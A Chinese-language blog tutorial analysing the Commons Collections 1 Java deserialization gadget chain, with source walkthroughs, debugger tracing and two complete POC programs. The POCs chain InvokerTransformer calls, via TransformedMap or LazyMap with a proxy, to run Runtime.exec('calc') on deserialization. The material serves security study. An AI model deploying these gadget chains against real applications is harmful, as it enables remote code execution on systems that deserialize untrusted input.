Java反序列化-Commons Collections1利用链分析

Java反序列化-Commons Collections1利用链分析

前置知识

代理模式

代理模式的定义:就是被代理者没有能力或者不愿意做某件事,然后就需要一个人代理去完成某件事,这个人就是代理者

代理模式的三个角色

  1. 被代理者
  2. 代理者
  3. 协议

代理模式的分类

java是动态的语言,反射是动态的特征


代理模式的业务需求

ctfer想要获取flag,就需要借助一系列的工具将题目解出

  1. ctfer是被代理者
  2. 工具是代理者

获取flag流程

  1. ctfer需要提供思路
  2. 工具需要借助思路解题
  3. 工具获取flag
  4. ctfer提交flag

静态代理实现


  1. 定义接口(协议)
package reflect;

/**
* 代理模式的协议
* 解题的接口
*/

public interface SolveProblems {
void execute(); //执行操作方法
}

  1. 定义被代理角色-ctfer
package reflect;

/**
* 代理模式的被代理者
* Ctf选手
*/
public class Ctfer implements SolveProblems {
/**
* 提交flag
*/
public void execute() {
System.out.println("ctfer:提交flag到平台");
}

/**
* 提供的思路
*/
public void idea(){
System.out.println("ctfer:提供思路:扫描备份文件,找到网页内的flag");
}
}

  1. 定义代理角色-工具
package reflect;

/**
* 代理者
* 工具
*/
public class Tools implements SolveProblems{

Ctfer ctfer;

//构造参数,用来获取ctfer的思路
public Tools(Ctfer ctfer) {
this.ctfer = ctfer;
}

public void execute() {
//ctf选手提供的思路执行工具
ctfer.idea();
System.out.println("工具:通过思路获取到备份文件,拿到了存flag的网页");
ctfer.execute();
}
}
  1. 静态代理模式的使用
package test.reflect;

import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.Test;
import reflect.Ctfer;
import reflect.Tools;
import trrq.User;

/**
* 代理模式的使用
*/
public class ProxyTest {

/**
* 静态代理模式的使用
*/
@Test
public void staticProxy(){
//被代理对象
Ctfer ctfer = new Ctfer();
//代理对象
Tools tools = new Tools(ctfer);
//调用代理对象的方法
tools.execute();
}
}

动态代理实现

如果想要实现动态代理,就需要使用JDK提供的Proxy类的newProxyInstance方法来实现,该方法返回代理对象(也就是上面静态模式写的tools工具)

@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;

动态代理

package test.reflect;

import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.Test;
import reflect.Ctfer;
import reflect.SolveProblems;
import reflect.Tools;
import trrq.User;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/**
* 代理模式的使用
*/
public class ProxyTest {

/**
* 静态代理模式的使用
*/
@Test
public void staticProxy(){
//被代理对象
Ctfer ctfer = new Ctfer();
//代理对象
Tools tools = new Tools(ctfer);
//调用代理对象的方法
tools.execute();
}

/**
* 动态代理模式的使用
*/
@Test
public void dynamicProxyWithoutArgsWithoutReturnValue(){
//被代理对象
final Ctfer ctfer = new Ctfer();
final Tools tools = new Tools(ctfer);
//动态创建代理对象
SolveProblems solveProblems = (SolveProblems) Proxy.newProxyInstance(Ctfer.class.getClassLoader(), Ctfer.class.getInterfaces(), new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("execute")){
//ctf选手提供的思路执行工具
ctfer.idea();
System.out.println("工具:通过思路获取到备份文件,拿到了存flag的网页");
//通过反射的方式调用被代理对象的方法,ctfer.execute()
method.invoke(ctfer);
}
return null;
}
});
solveProblems.execute();
}
}

返回结果和静态代理是一样的


静态代理和动态代理的区别


Transformer

从注释上可以看到这个接口,是用来将一个对象转换为另一个对象的实现的仿函数接口

Transformer是一个接口,代实现的方法

public interface Transformer<I, O> {

/**
* 将输入对象(保持不变)转换为某个输出对象
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
O transform(I input);

}

TransformedMap

该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

TransformedMap下面有三个方法,并且都调用transform

protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

从注释可以看出,当该类的setvalue方法调用时,会自动调用checkSetValue方法,该类的setvalue是继承与AbstractInputCheckedMapDecorator这个父类,我们后面可以了解到

由于前面是这几个方法访问控制权限都是protected,而下面两个public方法调用到了上面的方法

public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}

ConstantTransformer

首先该类继承了Transformer

函数是实现transformer接口的一个类,在该函数里面有一个构造函数,会传入我们的Object,在transform方法中又会将该Object返回

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

public Object getConstant() {
return iConstant;
}

InvokerTransformer

该类是通过反射创建新对象实例

private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

尝试用InvokerTransformer反射编写Runtime.getRuntime.exec(“calc.exe”)

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());

ChainedTransformer

有个构造函数,将Transformer类型的数组赋值给iTransformers

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}

前一个对象的transform返回的结果作为后一个对象的参数


AbstractInputCheckedMapDecorator

一个抽象基类,简化创建地图装饰器的任务,该类属于 JDK1.7 自带

可以看到当我们调用setValue就会去调用checkSetValue,AnnotationInvocationHandler类的readObject 方法中看到 setValue 方法的调用

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

AnnotationInvocationHandler

抽象基类,简化创建map修饰器的任务

我们找到rt.jar包可以通过Java Decompiler获取到关联源文件

//构造方法
AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap)
{
this.type = paramClass; //this.type是我们传入的Annotation类型Class
this.memberValues = paramMap; //memberValues为我们传入的map
}

//readObject
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException
{
paramObjectInputStream.defaultReadObject();

AnnotationType localAnnotationType = null;

try
{
localAnnotationType = AnnotationType.getInstance(this.type);
}
catch (IllegalArgumentException localIllegalArgumentException)
{
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map localMap = localAnnotationType.memberTypes(); //获取注解类类型的map

//遍历map
for (Map.Entry localEntry : this.memberValues.entrySet())
{
//获取map的key,也就是我们注解类
String str = (String)localEntry.getKey();
//查询key的注解类接口的方法
Class localClass = (Class)localMap.get(str);

//如果key注解下的方法,不能为空,否则不进入方法
if (localClass != null)
{
//获取value的对象
Object localObject = localEntry.getValue();
//判断localClass是否可以与我们传入的bbb字符串进行强转,以及判断是不是ExceptionProxy对象
if ((!localClass.isInstance(localObject)) && (!(localObject instanceof ExceptionProxy))) {

localEntry.setValue(new AnnotationTypeMismatchExceptionProxy(localObject

.getClass() + "[" + localObject + "]").setMember(
(Method)localAnnotationType.members().get(str)));
}
}
}
}
}

执行到setValue,有两个条件

第一个参数要求注解类,第二个参数即为我们想要赋值的变量memberValues


思路一

Gadget Chain

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
(Map.Entry)TransformedMap.checkSetValue
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

POC

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.python.antlr.ast.Str;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test2 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();

//valueTransformer.transform(value)
map.put("value","bbb");
//传入keyTransformer、valueTransformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHadlConstructor.setAccessible(true);
Object o = annotationInvocationHadlConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}


注解版方便分析

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.python.antlr.ast.Str;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test2 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
// Transformer[] transformers = new Transformer[] {"exec",new Class[]{String.class},new Object[]{"calc"}};
// Runtime r = Runtime.getRuntime();

// Class c = Runtime.class;
// Method getRuntime = c.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntime.invoke(null, null);
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(runtime,"calc");

// Class<Runtime> runtimeClass = Runtime.class;
// Method method = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); //Runtime.getRuntime()
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(method);//method.invoke
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap();

//valueTransformer.transform(value)
map.put("value","bbb");
//传入keyTransformer、valueTransformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// for (Map.Entry entry : transformedMap.entrySet()){
// entry.setValue(r);
// }

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHadlConstructor.setAccessible(true);
Object o = annotationInvocationHadlConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}

回溯分析

首先我们要找到一个函数可以任意方法调用,并且判断传入的参数我们是否可控

我们可以看到Method方法和参数类型我们是可控的,object我们可以看看有没有函数调用transform传入Object

通过查看transform函数调用,可以看到下面ChainedTransformer的transform方法

我们可以看到这边对iTransformers数组进行递归执行transform,所以说iTransformers是要为InvokerTransformer

尝试使用Runtime.getRuntime().exec(“calc”),来进行调用

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

后面我们就要找谁调用transform方法

我们继续往下找看谁调用了ChainedTransformer.transform,并且也传入object对象,而且是一个Transformer数组

我们可以看到checkSetValue方法,调用valueTransformer的transform方法

可以看到调用decorate传入到构造方法,所以说valueTransformer

TransformedMap.checkSetValue调用了transform并且传入了对象

调用了decorate,valueTransformer传入了invokerTransformer,因为checkSetValue的访问控制是protected无法直接被调用,此时还无法造成命令执行

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object, Object> Map = new HashMap();
TransformedMap.decorate(Map,null,invokerTransformer);

AbstractInputCheckedMapDecorator的MapEntry调用了setVlalue方法,MapEntry就是有个键值对

我们可以看到这种类继承的是AbstractMapDecorator,重写了setValue,AbstractMapEntryDecorator最终还是实现Map.Entry

这个就是遍历键值对的写法

HashMap<Object, Object> map = new HashMap();
map.put("key","value");
for (Map.Entry entry:map.entrySet()){
System.out.println(entry);
}

当我们遍历被修饰过map的方法就会调用到AbstractInputCheckedMapDecorator下的setVlalue


之后我们再看那个方法调用了setValue,并且是readObject方法

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap();

//valueTransformer.transform(value)
map.put("key","bbb");
//传入keyTransformer、valueTransformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

for (Map.Entry entry : transformedMap.entrySet()){
entry.setValue(r); //传入对象
}

AnnotationInvocationHandler类可以看到这里的localEntry调用setValue方法,完成了调用链

因为可以看到方法并没有,所以是default类型,我们只能通过反射来调用这个

第一个参数是一个注解类,第二个就是我们要传入的map对象来触发setValue


首先我们还有两个问题

  1. Runtime类是不能进行序列化,我们只能通过反射进行调用
  2. 还有一个就是在AnnotationInvocationHandler下的readObject方法下的setValue的值,我们是无法可控制的

Runtime反射

正常反射

Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(runtime,"calc");

InvokerTransformer反射

Class<Runtime> runtimeClass = Runtime.class;
Method method = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); //Runtime.getRuntime()
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(method);//method.invoke
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

通过ChainedTransformer做一个递归的调用

ChainedTransformer通过传入Transformer数组进行递归调用到InvokerTransformer的transform,传入Runtime类,最终我们就可以获取去到exec执行弹出计算器

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

我们就可以传入ChainedTransformer

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Runtime我们解决了,我们要解决下readObject方法调用setValue

尝试调试下,可以看到这边是我们前面传进的Override注解,这个memberTypes是获取到注解下的方法

继续向下调试,可以看到localMap.get对str进行查询,返回是0,说明没有查到,所以我们需要找到一个注解下存在一个方法的

可以看到Target下有个value方法

我们尝试将传入annotationInvocationHadlConstructor构造方法第一个参数的Override修改为Target注解,再次调试看看

尝试修改我们传入的key为value

map.put("value","bbb");

之后判断localClass是否可以与我们传入的bbb字符串进行强转,以及判断是不是ExceptionProxy对象,返回的为true继续走到下面

最终我们新增了ConstantTransformer传入Runtime.class对象,为什么这样做呢

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

我们走到当前的readObject方法的setValue上,真正触发到setValue是这个checkSetValue,我们可以调试一下

在checkSetValue上传入了我们写的Transformer数组

我们看下走进ChainedTransformer.transform

现在的object值

进入ConstantTransformer.transform方法后,这个方法返回一个object也就是我们的Runtime对象

再看下现在的object值,成功被ConstantTransformer返回的对象覆盖,这也就造成为什么我们不需要在setValue传入Runtime对象了

最后是通过invoke执行代码

成功弹计算器


思路二

Gadget Chain

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

区别是在用到了LazyMap的get方法,而前面我们是用(Map.Entry)TransformedMap.checkSetValue来调用到transform方法,基本后半部分是一样的


POC

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Test11 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer );

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHadlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy);

serialize(o);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}

分析

首先我们先看下区别

通过LazyMap.get方法调用的factory.transform()

因为LazyMap的构造函数是protected,我们只能通过decorate传入

factory属性通过decorate函数传入

decorate再调用到LazyMap函数

我们搜索下哪个地方调用了LazyMap.get,可以看到AnnotationInvocationHandler.invoke

我们可以看到memberValues是我们可控的


最终走到readObject调用到了代理类,走到了invoke

我们只要将memberValues传入动态代理类,并且代理的是LazyMap,使得进入invoke触发LazyMap.get,这条链就通了


上一篇

RMI、JNDI、JRMP的攻击面